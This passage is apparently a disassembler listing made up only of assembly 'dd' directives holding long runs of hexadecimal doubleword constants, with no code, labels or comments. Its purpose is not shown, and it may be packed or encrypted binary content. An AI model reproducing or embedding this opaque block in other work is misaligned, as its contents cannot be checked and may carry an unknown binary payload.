		dd 0CD8A0h, 66BDDD1Eh, 4D8F7ED1h, 0DC322F16h, 0EE0B510h
		dd 0A4782349h, 3300C6D4h, 0B7973218h, 0AEB6821Dh, 0F3670338h
		dd 0D84EEAD3h, 1A6B0DA3h, 401FE188h, 9E5C4C80h,	0F31D82DEh
		dd 0AE18F5D0h, 0FC3F19h, 53912A15h, 9E5BD95Eh, 2000C672h
		dd 0CA241E7Ch, 680DE9Ch, 825EC8CEh, 0FF0039ADh,	8EEFDC2Dh
		dd 0C3185h, 84E7B565h, 23E2C3D4h, 281B1C30h, 0A0EC4BCCh
		dd 3031084h, 3D419293h,	70F74425h, 0FB86CE90h, 3AD2C200h
		dd 1C340188h, 0D8203AD4h, 46002B4Ch, 91C2B59Eh,	0E5F9FC58h
		dd 791980F0h, 1CAEA753h, 0D080546Ch, 58B615B9h,	4901BCE3h
		dd 0C5BB5799h, 0F22187D9h, 0BCC0F41Ah, 1C3E48A0h, 801E7D18h
		dd 0D110DA32h, 7F00C6CEh, 169AE879h, 5CDB3Dh, 88AD4BEEh
		dd 1549A53Fh, 0AA640F03h, 0E819508Eh, 3BC9B5Dh,	21B7C2F1h
		dd 93A08CABh, 430E38F3h, 0C1DFC0D0h, 4917EF7Fh,	0B8F2088Dh
		dd 0D04E6020h, 0CDD71000h, 0D139D29Ah, 0F43B181Bh, 824D50FCh
		dd 0EDCAC800h, 992A9702h, 0F33907B7h, 4790AF9Bh, 0DA738098h
		dd 1A03EA59h, 12052D28h, 96083030h, 59C25E21h, 3889E400h
		dd 15160CBBh, 0B20E0AA1h, 37C71AC7h, 7F1C8328h,	6E9EA2B0h
		dd 92A4DC00h, 1DC28ED0h, 0A6F43EFFh, 4C935160h,	7D6194DDh
		dd 0EE1AFA20h, 0C6E1982h, 0CA00666Ah, 22EE9CEh,	98519EA4h
		dd 2080BBF5h, 5B76A713h, 0C416E5Ch, 8CD369Fh, 3521CF85h
		dd 0F6F47640h, 1C3E103Eh, 7898635Fh, 4792DBh, 41069131h
		dd 4098A4A9h, 7E32B58Fh, 8D0F4506h, 60085D84h, 224421ACh
		dd 901EA1B4h, 0BC41EE3Bh, 0DDD41B19h, 0C8E2B441h, 3245AC40h
		dd 0ED810195h, 54B41801h, 0D8A1E455h, 0BB2D7D1Ch, 0E269DFC0h
		dd 3CE0E79h, 75C91228h,	6087C0D6h, 0E7FEE306h, 0B2D86300h
		dd 0FC425BD5h, 1F79009Dh
		dd 1CD9984Eh, 0AF07B43Bh, 9BB6AC59h, 8F317F20h,	288C034Bh
		dd 300C3C7Ch, 0C6CCBED0h, 33023800h, 5359ACDFh,	5704A5D9h
		dd 48864E41h, 4963C8h, 475CFB01h, 83B32B73h, 587E8C1Dh
		dd 66698DC0h, 7B7D486Bh, 0E97BF05Ah, 3E8570F0h,	340E740Ch
		dd 8300B867h, 2C8D7516h, 7907637Bh, 17F5C82h, 0AD326040h
		dd 7B1A005Dh, 6C2E6973h, 72908348h, 0D38650Fh, 6FEE007Eh
		dd 0F07C214Eh, 584C0052h, 3CB2EBF0h, 63001A98h,	8E41535Ah
		dd 0EC5E449h, 0D68551EFh, 8FBF82A0h, 98004DF4h,	9224938Bh
		dd 0C43C8042h, 4289ED29h, 2F3B6D9h, 0EE2292BFh,	2129243Bh
		dd 0A312B488h, 883F0F10h, 58898405h, 9444F708h,	1434475h
		dd 83783284h, 1482FBA1h, 0DD2245BEh, 9CAB2282h,	3B64742Fh
		dd 50E2A05Ah, 44BE2819h, 95401399h, 0B95C000Dh,	0D7428A40h
		dd 180099E0h, 45D6FDE2h, 7E8F5EFh, 0DF043E6h, 28580F55h
		dd 8288E213h, 8E489A3h,	6F01449Fh, 0E8CD51C0h, 0D967D0h
		dd 38A2CB75h, 727CA9C3h, 791DC107h, 7BB0A09Eh, 0E6C49C1Bh
		dd 0BDE82885h, 86D50004h, 2C436B6Ah, 5005127h, 372225C9h
		dd 0E2F2480h, 0DBE5FC3Bh, 93400367h, 0AE9071A0h, 60F3D6Dh
		dd 40C97B70h, 6FFEB74Ah, 0DF19009Fh, 0B481905Ah, 0E73DE641h
		dd 2E0B0305h, 90754BE3h, 0CFA59BCh, 734EF0A4h, 63009A11h
		dd 0C5B23964h, 727BC8E1h, 0F74300EEh, 0CAE6B532h, 0E41DF836h
		dd 184065EDh, 0CE5B5AA2h, 3FF9FC16h, 0EB0096B0h, 0F87FC442h
		dd 1860DB06h, 0E7412988h, 9A840090h, 6C5D3009h,	15B0A977h
		dd 0B333EF00h, 0A2FB4310h, 939F1D4Ah, 0CD714028h, 0B450601h
		dd 0FF5E0900h, 0BB7E9850h, 5CAA3959h, 6BBDF880h, 17CC22FCh
		dd 0C2A0A9E6h, 3974BA1Ah, 0CF4A7B0Ch, 71B9961h,	384E221Fh
		dd 77A0EF8Ch, 9095BBFDh, 55C8DE00h, 46A08AD5h, 0CF5012BEh
		dd 331D0073h, 89AF75F2h, 88010600h, 0FC9E8062h,	6E8D03ABh
		dd 0F28C0E2Ch, 42E541E0h, 0B04FE200h, 0B41E1669h, 0AAC40050h
		dd 916ABE24h, 497F9928h, 98A81D09h, 4C7FE037h, 0D0D060C1h
		dd 0F9120CCCh, 53FA8900h, 7232FBC4h, 7941E863h,	0CEF4A6h
		dd 5E76B06Ch, 332A2981h, 157DAC00h, 63F7FF86h, 0CB81A0C8h
		dd 0A73500D0h, 0A236EDD7h, 73001465h, 7F9C050Fh, 0A0B7334Bh
		dd 3DC89B88h, 0AF240E28h, 7670F1Ah, 0F20025EBh,	0DC04293Ch
		dd 8D2A4500h, 0F6446BF2h, 487A3047h, 5F40A209h,	4DA1D700h
		dd 0BB6DFA58h, 7A7C7EAAh, 0DBD044Bh, 804EC2A7h,	0F7516B33h
		dd 823D9307h, 6A600C40h, 9184B747h, 0A63B0014h,	0A9827B90h
		dd 0CCB1AB00h, 8049935Fh, 1E240079h, 0E901B9F9h, 4E00781Ah
		dd 0A9B0FAF8h, 288BC388h, 0B0B99284h, 0E21738B8h, 3886B700h
		dd 0EA606F65h, 74D74A00h, 0A7D4CAA2h, 315C0F49h, 66C3CDB5h
		dd 4FB0B19Bh, 876054CBh, 555AF980h, 3CBF00E5h, 42EAF7DFh
		dd 0B21E5F91h, 0A7DC5D37h, 7708FE41h, 0DC406204h, 0EAE7E5F3h
		dd 0CB643FA0h, 83A42680h, 80600E1Fh, 79EDF603h,	849A71A6h
		dd 36795C0h, 0AD740391h, 61C15998h, 7FCACDA8h, 70FAFF0Fh
		dd 6E6680DBh, 0E2939DC4h, 8DC300DAh, 9A87A691h,	0C5740285h
		dd 63E90A00h, 27D9692Bh, 9809C03Ah, 2D3DA7F1h, 7B023C00h
		dd 8387F93h, 0B05B4E13h, 0AB03DE9Ch, 0BD7018E6h, 99ACD0D8h
		dd 0DF150F96h, 26007319h, 76FB2884h, 88A00503h,	0B7D0F2F5h
		dd 0FAE1FFF0h, 0D3120085h, 694BA343h, 0A003670h, 971D23ADh
		dd 7A25DAFh, 9DB1EACDh,	4137B04Bh, 0D078AE3h, 0F5890687h
		dd 43A582D0h, 1DA83FBEh, 9B6F8D00h, 9A863FCCh, 8B7BD814h
		dd 7A0E0F84h, 2060AE56h, 37ECD1FEh, 0CEE00092h,	0AA236B20h
		dd 68006119h, 2C6DA9C6h, 0E6D728CBh, 990F0EE2h,	7AE0F74Fh
		dd 0ABF33E82h, 0D9956600h, 0A28CC6CFh, 88F91FE0h, 876A409Dh
		dd 2E54C74Eh, 68ABAC00h, 988125C8h, 492A00CAh, 0F053AAB6h
		dd 511EFC30h, 8666432Ch, 0A2908C05h, 0C71DCC40h, 87FD9Bh
		dd 197E5383h, 97C8563Eh, 70D5FF00h, 0CDA1CFB8h,	0A0AA00B3h
		dd 0DAA4D1E5h, 0A6EEC5B9h, 0A3C4E80Fh, 453C4003h, 0A055707Dh
		dd 7EEF04h, 0E3DAC372h,	0BFCBFAE9h, 825FD2Ch, 4C57FC04h
		dd 179AB320h, 2F966709h, 4864009Ch, 12DA2C9h, 0A6B8CA39h
		dd 34168849h, 0F002E7Ch, 0CE4741CDh, 18B5BE4Bh,	3888B271h
		dd 1F068427h, 0B1D8C21Ch, 0DEEE0040h, 0A81E0A28h, 0F700B873h
		dd 77C8EC04h, 3C33Eh, 0DBB6CC88h, 575DBCFFh, 0CF75AB00h
		dd 48803B16h, 8D1604Eh,	52FA785h, 74AD5000h, 215A4C6Dh
		dd 38FD0094h, 15B1BAC5h, 990B2657h, 817016h, 5C2E89EFh
		dd 7F950328h, 3CD5C649h, 8F56E9B8h, 0D196AF07h,	0D3B05787h
		dd 0B2EA7Ch, 0B43C82ECh, 0B068D2EEh, 3906A49h, 0DFBB03E1h
		dd 0D4AC78F8h, 2F002309h, 8221BC70h, 0E71354Dh,	3CFD5E02h
		dd 6BCA2A1Ah, 0C992E830h, 28AB02DFh, 0CCD35A10h, 67FBA060h
		dd 5C310800h, 46519C48h, 47A900A0h, 4B9E36F8h, 0A47E7CE4h
		dd 5A526D03h, 0A3E95666h, 4409006Ah, 41B8FE20h,	0CB2CFF2Dh
		dd 0A024CD0Ch, 335F0180h, 0F6FD50A4h, 6BF60Fh, 49DF8217h
		dd 8CAE2892h, 0A508BB24h, 9E02FF07h, 142C4F60h,	0EC5D0336h
		dd 430C3066h, 21D316D8h, 0B1C3AC00h, 0CDF4D563h, 0D5B8E9h
		dd 6940E597h, 0B6BEEC5Bh, 8F33763Ah, 0A002CAE4h, 4FCCE943h
		dd 495E0B32h, 5C00DD54h, 1B0A1F50h, 0E0CB141Dh,	7DBE1340h
		dd 7522019Ch, 63ED0546h, 0CF3CAEh, 99186B90h, 1E5CC9BCh
		dd 0D7770468h, 0FEC1D539h, 0EBD4192Eh, 5E1800D4h, 0A078FBD3h
		dd 0BD600A17h, 0EDB2E709h, 0BF7100A7h, 899E2AEEh, 90A0D01Bh
		dd 1D09AE11h, 8B883Eh, 4466E168h, 8C3B3EBAh, 5CC302Ch
		dd 0C03A5D22h, 2E41773Ch, 634C8824h, 0F0B5BC00h, 989B926Bh
		dd 487F34h, 0E2449F82h,	404BCC86h, 83144D58h, 0C0E99D73h
		dd 39B3C284h, 30F5A522h, 4109931Fh, 0B500CFFFh,	0A36A03F4h
		dd 4C96682Bh, 9701B80Dh, 7CADA0CCh, 0C29ED0C8h,	631FA1EAh
		dd 2427923h, 803CC6E3h,	0BBD4ECE8h, 0CEFA3064h,	6804A3Ah
		dd 0CF000B73h, 30227D98h, 0ADA0F28h, 0B38DE293h, 0A7BB00B0h
		dd 8F1FEE47h, 611DB00h,	0B807E9E7h, 0BDD0076h, 8E3BBA4h
		dd 9B77122Dh, 723C175Ch, 0E28209C1h, 0E3D0F6BEh, 0CE1905B7h
		dd 5D14ADBh, 159E41B0h,	0AC1D40BEh, 3431C04Ch, 9E02C6Fh
		dd 37BC7D54h, 0E13AB601h, 0DC777336h, 1760C4h, 2BBF4226h
		dd 0EAA39C01h, 31896B31h, 2CC9F97Bh, 4484C28h, 807EB11Ch
		dd 28C9F2CBh, 300F6F1Fh, 0C0DBAFB8h, 76D2A19Eh,	0F8952E54h
		dd 0A4A1EE0h, 1F03193h,	1C7E3416h, 51180E2h, 5E924282h
		dd 0C1100035h, 0BE1FFCA9h, 3C002786h, 1C7BF18Ah, 0C34847h
		dd 2B58903Bh, 6B768237h, 0C04FF01h, 0CC0AFAE5h,	5EFDC30h
		dd 6AAA6626h, 84448039h, 500201C1h, 0AC6D90E8h,	0A0AD8291h
		dd 3430E01Ah, 73CD019Dh, 6839167Ch, 58B47055h, 9BD43D01h
		dd 0A3ABAE87h, 0E6C85021h, 45150B7Bh, 5000ECEBh, 2F1E7721h
		dd 639A3F00h, 3B10BFEDh, 373E0FD4h, 9C40A468h, 71C8515Dh
		dd 14EEB13Fh, 3E78873h,	0F0D17A0Ah, 6D110760h, 908991ADh
		dd 0A150E1AFh, 5D139B00h, 0E3C74B4Ah, 92CC0060h, 0BCD1077Fh
		dd 9E008E8Bh, 0AB630B1Fh, 158D1Dh, 0C1B3FE4Ch, 0F686112Bh
		dd 398FAF00h, 0B9D74158h, 9688004Dh, 0FDA96151h, 7A01AC95h
		dd 120C6C43h, 0BEE81D70h
		dd 0E61771F0h, 4EF448DFh, 0E583D001h, 41549831h, 0CC331583h
		dd 500AD94h, 41EC279Dh,	72D244D1h, 514500BCh, 0AEC55338h
		dd 0A300296Bh, 0FABBE1A0h, 1983E14h, 0C31B7FB8h, 80A4CE37h
		dd 56D8C160h, 75F5F8h, 4F9EBB3Dh, 0D694F1AFh, 0BE33F300h
		dd 7E74318h, 1D3C010Dh,	0D4D8E858h, 544EDCB2h, 1FBE900Bh
		dd 80408F64h, 9DA8CAC1h, 0E76F00DFh, 0BD8E28A3h, 0AE00A054h
		dd 9F77EEF7h, 0EA9BB4Fh, 10B26208h, 5DF41A80h, 880CF0DDh
		dd 1453CC2Fh, 0CF5C002Dh, 90F7BBA9h, 1E380684h,	440F8063h
		dd 4116C417h, 42E2E1h, 384AC2D2h, 0AF732CADh, 0ABF82306h
		dd 58606693h, 980BEA7Dh, 9780D514h, 2E28F35Ah, 160BE72h
		dd 8F797848h, 6F840073h, 0B5D0E3D4h, 0DA000B82h, 0DB4E4FBEh
		dd 0C3BF1h, 0F7CE61Dh, 412BCFACh, 0F0F5BF28h, 71D46D00h
		dd 0A3B768B9h, 0A0CD77A9h, 0EB95EAh, 4DE7F75Fh,	2D529037h
		dd 16CE650Bh, 786D0036h, 3C73C984h, 9A87F3F0h, 0E0AE6ABFh
		dd 0EC562A08h, 0D3433000h, 0A89F6F76h, 0F646248Fh, 0DC93001Ch
		dd 0A7C32840h, 0C47A3AECh, 76172B01h, 80955F64h, 0D2CAC000h
		dd 96CE3001h, 0F61A7CF1h, 9BE7ECh, 0D06C548Dh, 2F47CCB6h
		dd 4E6F9DA0h, 0D4DA0400h, 0A2F1A086h, 40AF00E6h, 20B1AAEEh
		dd 157D6EE7h, 294DF4EDh, 2C004F72h, 9C7C700Eh, 9752F1h
		dd 7EDD46FCh, 0C3CED7B7h, 4EBAFB00h, 0F38F86ADh, 0DC0D00A2h
		dd 9663FF6Dh, 0D0C08E23h, 0EB8B1D80h, 0EF5000DDh, 0FBFF1BD2h
		dd 3700D6DAh, 0C11E9785h, 3DCE7F1h, 0E333A78Ah,	0F2F0212Ah
		dd 0EF282458h, 0E2E8A0D9h, 1EDD4F01h, 45663516h, 24174DFCh
		dd 0DB790Ch, 9103CF88h,	741FBD41h, 1B802CF0h, 0DD8EADFAh
		dd 590700FBh, 7E058FD3h, 0E3302EEBh, 32272889h,	0DFA100EFh
		dd 68CE9F02h, 2C1F3453h, 7F001591h, 0C152CFAAh,	0D0D05469h
		dd 504D12A0h, 0E0C00F7h, 6E924E01h, 5FB2D0Fh, 3F8D563h
		dd 0B6A5467Ah, 61E00090h, 0CD6E8BB1h, 33005469h, 47CEBE35h
		dd 1C530774h, 40E541DAh, 9838AE4Bh, 5F00801Eh, 0AD2D7524h
		dd 8F59F1h, 0F0725814h,	0D73F022Eh, 66E7B206h, 0F600675h
		dd 9DC2C610h, 7783AACEh, 0CB8004DDh, 0FC071DE7h, 747C3BFFh
		dd 7E24E20h, 980C0267h,	0F6422986h, 0DA6ED180h,	8C00BFD3h
		dd 7526D968h, 209C24h, 3598AA7Eh, 6507971h, 96D05C00h
		dd 0E26A6DC2h, 1C2405D5h, 4077C4A5h, 0D7F4C388h, 39E40FECh
		dd 0CF1FA31Eh, 534EC4C5h, 6D5C8C40h, 0A4289h, 0CDF8A877h
		dd 9D94D7AFh, 6C8890A3h, 2604A4C7h, 0EEF07BE8h,	2C9B8CC0h
		dd 35600062h, 877E5EA2h, 7B011AB4h, 0C50412F1h,	0DB7F1Eh
		dd 3F5B3880h, 1A245556h, 46E0B701h, 0F730657Eh,	32699A40h
		dd 3E543CF0h, 74BF0172h, 0BE7C2379h, 0E89830C2h, 15EC1A20h
		dd 0C774B58h, 29879DC3h, 45D61100h, 0C316B2F2h,	6272159Fh
		dd 0A33A8471h, 30A73F42h, 6A7830E3h, 8B1001Eh, 8F39C88Ch
		dd 5E1459A4h, 0D4BF8Ah,	0B7ED4AA3h, 504E56CCh, 0A51980Dh
		dd 0C6BFD5DCh, 1E1793A8h, 0D472010Eh, 7F67A8D9h, 492513F0h
		dd 5B0150B6h, 730E7C61h, 6EC0847Fh, 0B491ED7Dh,	6058BF39h
		dd 0D4301EAh, 682D5E79h, 9B288391h, 8FB321CDh, 66700009h
		dd 0B4D52Bh, 4BC2F07h, 0E5FD0897h, 1989D400h, 6E7C7184h
		dd 0D54501A8h, 0F8BF8015h, 0AFDFC85Ch, 7F303476h, 0A9ADC67Dh
		dd 97B83BC8h, 46506401h, 0F965775Ch, 1BC60E3h, 0CE0107E2h
		dd 454A08DCh, 26F4E2D0h, 4C6D5805h, 5AD30472h, 80FFEBA5h
		dd 55A08A1Ah, 267BC200h, 4DC5B698h, 0E517019Eh,	0FCB4B9CCh
		dd 3092087h, 8B993B00h,	28CB5A9Ah, 564600BBh, 0D30B3A0Fh
		dd 7501F788h, 3427ADBDh, 77D4B785h, 0F05638A2h,	80DED39Dh
		dd 1EF2FAAAh, 93B0391Ah, 10CE20Ch, 79F825h, 4C40905Dh
		dd 0EBDBDEE3h, 3B006898h, 0B51D69E2h, 3C081F1Eh, 4302198Ah
		dd 44E1322Ah, 0C852B8C0h, 83D88D03h, 0A0011897h, 814372h
		dd 0B1FC9D40h, 3ADFAB78h, 5F0460B0h, 67A499A5h,	9A0E5DC0h
		dd 0B63F03C2h, 0A99B3DD5h, 40B8287Ah, 27E7FD00h, 2F43E270h
		dd 0A6C7010Ah, 0C9331339h, 0FA11C465h, 8BFEBA1Dh, 1C1752C0h
		dd 1D32963h, 50A38744h,	0C8267A14h, 8F006084h, 0A2B5ECAh
		dd 0EF89AFh, 0AD338692h, 0CFB52EEAh, 6656B600h,	0EB4B6FBEh
		dd 0A4F028A1h, 770E00ADh, 0F45B68EDh, 3700DD3Ah, 0D42CD574h
		dd 41BA06h, 5E84EC47h, 43539A8Ch, 35B7E102h, 683E9087h
		dd 77D1763Ch, 0E5D84C42h, 47C36B06h, 1F014062h,	22E661FDh
		dd 96E839DCh, 2A4F018Bh, 42190B67h, 7B84208Dh, 2DD98F01h
		dd 0D0E6B3C1h, 24DD4034h, 0EEEC59D8h, 0BD003A6Eh, 6C26C3D1h
		dd 0B1407F03h, 0E87D91B9h, 0D33797h, 2369EA9h, 673C3578h
		dd 42E2FC02h, 49BB2CB7h, 718077BCh, 0AEC05C0Dh,	0FC014718h
		dd 0BE434F28h, 0D9806495h, 0C5BF25D3h, 20F95110h, 710046ECh
		dd 0F6DA4A24h, 0F42F488h, 8AA721Bh, 2DA73D81h, 93A880D2h
		dd 8D86C57Fh, 4D557C85h, 77752C9Bh, 0B4660057h,	5C53B758h
		dd 99008CEBh, 0EC1411DCh, 73E14283h, 0A7840157h, 74823252h
		dd 5688400Ch, 0B300ED8Ah, 8459112Fh, 2EF4E8Fh, 5CF63244h
		dd 0D8601910h, 1307ED91h, 159359F7h, 4A4262D0h,	0C7E46Eh
		dd 0EEEF43B8h, 0C55D9849h, 913CC4E2h, 3B60E012h, 3B5AEh
		dd 0AFCA7AD7h, 0A91CCCB9h, 9F1E88B8h, 9980C54Fh, 0EF563C08h
		dd 27730F97h, 2C80E57Eh, 0A9C9D7E3h, 0BA30B0A3h, 736CF192h
		dd 0E164005Ah, 393F7527h, 900700Fh, 9DBD37B6h, 0B2AE9Ah
		dd 7D93F974h, 6A0247E5h, 0FEB91707h, 77603B7Ah,	848E10h
		dd 8DAB83BBh, 0EBF2CE26h, 0AF017AF8h, 33A64455h, 0A2F4B8BCh
		dd 0D3EF0057h, 4786413Dh, 0FF6014FAh, 0B612EFEh, 43CA0FC1h
		dd 93809426h, 135C1FD4h, 8BC62812h, 0DB410C00h,	7644F5AAh
		dd 5DD318D0h, 265F28D6h, 81FEBE7Ah, 52FA4200h, 697314D8h
		dd 7D22305Bh, 2930F09h,	9263C407h, 7E20A355h, 3B5DA761h
		dd 0E4076EEDh, 47215839h, 82C30072h, 0B300D6F6h, 0AAEB1209h
		dd 0FAE0F4Fh, 26710728h, 4363C5E0h, 3100513Bh, 9C32B049h
		dd 0B88013h, 8A57CC19h,	9205785Ch, 8E73F600h, 0C75A5596h
		dd 0B57F0175h, 6A8B825Dh, 0BC49D8EBh, 0F200D6F2h, 3F45FBC3h
		dd 4D74ABh, 5B3162CAh, 6876D420h, 13D87301h, 0B1DB4A87h
		dd 0F9C0C0F6h, 39D007EEh, 0B06B8322h, 0A8A932E4h, 15658F01h
		dd 0D6CD0A70h, 383BFC40h, 1FE2387Dh, 6879081h, 0ECFD9D77h
		dd 81009207h, 82984DA4h, 3ECFE22Dh, 0CE98969Bh,	0E0F9099Fh
		dd 0F72B4E07h, 42504FEDh, 2D1B5Ah, 1211ABDDh, 0EF71DAE3h
		dd 99D06A00h, 834B8178h, 0ADA30022h, 793D5451h,	0F8907DDCh
		dd 0F212F57Ch, 3001CC99h, 0F6D540DDh, 7A831E4h,	637D3BC2h
		dd 7BF9E021h, 0D801FD1Ah, 0B0E44EAEh, 0E42822A7h, 53FA6900h
		dd 0DF5D9DCAh, 78753C12h, 0EBE20840h, 0DB6831h,	0D567B2D4h
		dd 77D7B0D2h, 0FD1B5100h, 0AD60BF65h, 10890018h, 8F85E736h
		dd 0A124D75Eh, 0D10AA8F2h, 0D200A81Fh, 0B9ECD587h, 4D85070Ch
		dd 30FA68E9h, 14B8117Ch, 5146BC05h, 0B000DB5Dh,	126D088Bh
		dd 0F70EDh, 0EC79077h, 2378A2Dh, 0DCF67100h, 927F6E09h
		dd 744B7FDFh, 0C68F3088h, 5ED14908h, 0DE477B00h, 0A9F3FE5Fh
		dd 1B0A904h, 0A1CF3331h, 40605392h, 97D901D7h, 3DB84810h
		dd 0D816F0E7h, 0D1EDCB14h
		dd 0D30071C7h, 38CE3A2Ch, 58DC35ABh, 143DBCC0h,	9C286200h
		dd 8A8DBA0Ah, 0F741B604h, 7CE06516h, 17C10050h,	12C9E9E0h
		dd 750022C8h, 6A3D2F95h, 39BEAF15h, 9808EF5h, 43EE71D4h
		dd 3EF2FE33h, 0C11F9400h, 67626CC9h, 210F00CCh,	45C52071h
		dd 1CFECE2Ah, 18B59100h, 0BFDB0BF9h, 9082004Ch,	26FF9336h
		dd 0CE007A88h, 2AC6CC80h, 0E15AB33h, 0AA47308Eh, 5C16D300h
		dd 0F6014188h, 75D19BCCh, 0E9DC311Fh, 0EF1402F9h, 0E0CBDE9Ah
		dd 2F003470h, 0B871CA2h, 0E897F764h, 110B073h, 0F647661Bh
		dd 0E5AE081Eh, 0EA61F42Ch, 0ED8CFB00h, 48A6DAF4h, 842B2E27h
		dd 60C4004Ch, 0AA8BEF98h, 0E95CB300h, 64F1E55h,	0C56F1634h
		dd 0F90C005Bh, 0B77D1811h, 8B83B300h, 0B2A8C651h, 35EAAAh
		dd 8827F232h, 0FEA51CB5h, 0C86C000h, 747023B0h,	32B0C9C2h
		dd 2E50F980h, 3D760A76h, 370030F0h, 633541C3h, 3245E7h
		dd 5F6F6434h, 5CDD92D3h, 8968130h, 1FBBB27h, 0C745EED2h
		dd 0DCD184FFh, 0F07CA7ABh, 730431E4h, 0A4A58C7Fh, 2CA360A0h
		dd 18C95085h, 9E468001h, 0EA903A50h, 0C5027400h, 5EDCF480h
		dd 8912000Ch, 0C0F72ABCh, 0F066FBDh, 0D1E7A056h, 44171F38h
		dd 0B30B8280h, 0BCE8F0D5h, 0BB0074F2h, 587082D7h, 1FF183DCh
		dd 60E2BEEh, 9222AC4h, 0DA0055ECh, 9B5728C8h, 24361E7Bh
		dd 27C1B87h, 7A75685h, 0B83FAF00h, 4C502E05h, 4B7B8240h
		dd 0B4505DA6h, 9AA89603h, 87F5266Fh, 0C853DFA3h, 0FA974121h
		dd 518B86Ah, 0C881C97Ch, 806085C4h, 6C9D137Ah, 48D0FA02h
		dd 5914AFF6h, 95F16060h, 9000F94Ch, 359BE796h, 553A1Fh
		dd 441ABD5Bh, 650B273Ch, 8B1D5000h, 0AE9BD7C2h,	0A34200CFh
		dd 0CCF339DAh, 57752059h, 1587C400h, 6FA78B76h,	0E1CF2C34h
		dd 0CA0C00F1h, 3D593A5Fh, 0DB791A00h, 0A86CD725h, 0BA7C0067h
		dd 0B434449Eh, 1B3B81E1h, 16E4DCD4h, 6890B7D0h,	0EC5ACCh
		dd 520B5926h, 6CC5E483h, 67680500h, 3BB6F6A1h, 0BD350677h
		dd 0F0B0D38Dh, 171E4200h, 0B2B4FB8h, 74AD04F3h,	0C0E7CD69h
		dd 5A93C9A7h, 10CC5C1Ch, 74058652h, 40EFC20h, 0AA21C7A6h
		dd 1D12DCCCh, 409B3DD4h, 0AF9A14E7h, 7D009084h,	2FAAD319h
		dd 1291575h, 164CC054h,	22DCD251h, 80093D04h, 58ED4D43h
		dd 8A772Bh, 8DECF090h, 40D2C1E6h, 0ADDA0100h, 0B83DF930h
		dd 631A07F6h, 0ABAE72h,	0D84B28CCh, 394E0C0Eh, 79A03ACh
		dd 0E3898A35h, 2C169068h, 557761h, 322E8325h, 72245FD8h
		dd 4562211Eh, 0D207F4C2h, 0FF9CC3F3h, 0C477ABE3h, 27F1CE18h
		dd 0C5BC9500h, 0F2138320h, 0AB85001Eh, 0E88272C7h, 303738Dh
		dd 0EABE7A5Eh, 1E92A314h, 40C49409h, 0ABC37358h, 8512CE2Ch
		dd 700E6F77h, 8778C075h, 49A98C0Dh, 63036C3Ah, 0E67A2C66h
		dd 51061102h, 6019A98Ah, 38A24018h, 704DAABh, 0C0FB496Eh
		dd 13741EF8h, 0F933AA09h, 0ACE4809Ah, 0E70F9Bh,	446FD456h
		dd 0C510E624h, 95501B00h, 0CDA0B09Dh, 863D075Fh, 27BC6DF7h
		dd 0D760108Fh, 56F61B12h, 0F20D9700h, 0C479690Fh, 0EF943DAAh
		dd 685FCF82h, 1C60CD80h, 0A900DB66h, 0AEC4621Dh, 76DA06CAh
		dd 260C0ED4h, 302C098h,	60DFC1D5h, 18E160DAh, 96FB859h
		dd 0A700ECCDh, 23061CFh, 4F74480Bh, 9ECACF8h, 1C2D54FFh
		dd 7DBD25C8h, 0F4F96000h, 61006D42h, 37D6242Dh,	0E2625ABh
		dd 0BDFDAA17h, 0F3A46023h, 19BBB8F0h, 6F043BE0h, 0ABD0B6D1h
		dd 8D8E9B80h, 39F73099h, 41FA97D1h, 0BF304C00h,	125EA063h
		dd 3CAB86Eh, 2E13789Dh,	5FF0F5F7h, 200BF3D4h, 8081979Ch
		dd 96FDEC64h, 1C47882h,	927EEF50h, 8002410Fh, 851D0C11h
		dd 0CAD512h, 42F20997h,	0CFB77CA9h, 4DE88400h, 1E18AF99h
		dd 3C90AAh, 61B164CAh, 7E902D87h, 993CAEFAh, 128300B5h
		dd 0D63EAC2Fh, 2CE37745h, 491C30F3h, 0BDE51883h, 22A4FAB0h
		dd 0DAC83700h, 99CAA7Fh, 84740020h, 0D93F2C34h,	393F8811h
		dd 2AB80072h, 1BCA951Ah, 504A00ECh, 0A4C7BFD6h,	0AA00084Dh
		dd 0F3DD612Eh, 1947C9Fh, 1B69A371h, 0E8F05872h,	0FF0031A2h
		dd 0F518B6C4h, 1D4D88D2h, 0CED05CDEh, 1FA0C74Ch, 0BC8E3A6Fh
		dd 85F8B80Eh, 0DC0353BFh, 0C893E0E9h, 0D8CD0Ah,	5892862Ah
		dd 7E8108ABh, 85001379h, 66C60FC2h, 0A3A0EFE0h,	849EA8FCh
		dd 16721C91h, 9FB40037h, 0BD97A7F2h, 5CA920C5h,	0EACA2080h
		dd 8846935h, 0D940B806h, 98AAFA37h, 215D7970h, 2A8A275Fh
		dd 335B2CA0h, 98B2E0E8h, 0FE003D42h, 0F02101CCh, 68D7BADFh
		dd 0A58B3890h, 8FE30933h, 400EFD52h, 82B7D781h,	3CA1D062h
		dd 4D6D9600h, 0B414991Bh, 0A6EE00F4h, 0E626461Ah, 0EF005CD3h
		dd 0B9B1E489h, 3E83A29Ch, 5700ABE7h, 746D0922h,	10F66E68h
		dd 1C027F0Ch, 7BD091Bh,	6BDA52CDh, 923A77h, 0FC09C8FFh
		dd 0D800863Fh, 8B390BC5h, 0BA99BEF8h, 0B9780424h, 0C0955216h
		dd 15D0538Ch, 0A100F890h, 0E5C0A5C4h, 1FF7411h,	997B104Ah
		dd 0BA08A9BFh, 0CE1A0011h, 0DF41DAEFh, 0F2C7035Eh, 44B5DCE7h
		dd 0B3357898h, 80A3B72Ch, 0C300431Fh, 5F47B84h,	0E1950192h
		dd 80187A6Bh, 60543D11h, 92E8344Ah, 0A5B50308h,	24A6DE45h
		dd 74D34AB0h, 4287F007h, 3CC0385Eh, 4F220C67h, 80141DB1h
		dd 8792335Ah, 0C4B80E7Eh, 0F9864CA0h, 7F78C203h, 0C4138221h
		dd 91C6A4D0h, 0A389004Ah, 2A524E50h, 8DF845D3h,	84335601h
		dd 731BC8F4h, 200646Ch,	722AA93Ch, 389E8B2Bh, 34810Bh
		dd 0A2775E98h, 2926267Dh, 0E5F68044h, 9F271F03h, 0A5BF9A05h
		dd 880541Ch, 0EED328Ch,	0F286C6D5h, 8030358Dh, 0CBF790F6h
		dd 1F4609h, 1B267AC1h, 0A2FAA5E7h, 25DE4917h, 5E87CC40h
		dd 6BAACE8Ah, 7400C8CAh, 387D5CCDh, 0FFDE9E01h,	0DDE6B31Bh
		dd 11D0E981h, 80C6BE5Ah, 0EAD346A8h, 14B37F6h, 2AB5934Ch
		dd 28BE4DD5h, 0F10E0094h, 0DB3CB6F4h, 0D12660CFh, 0B254BB20h
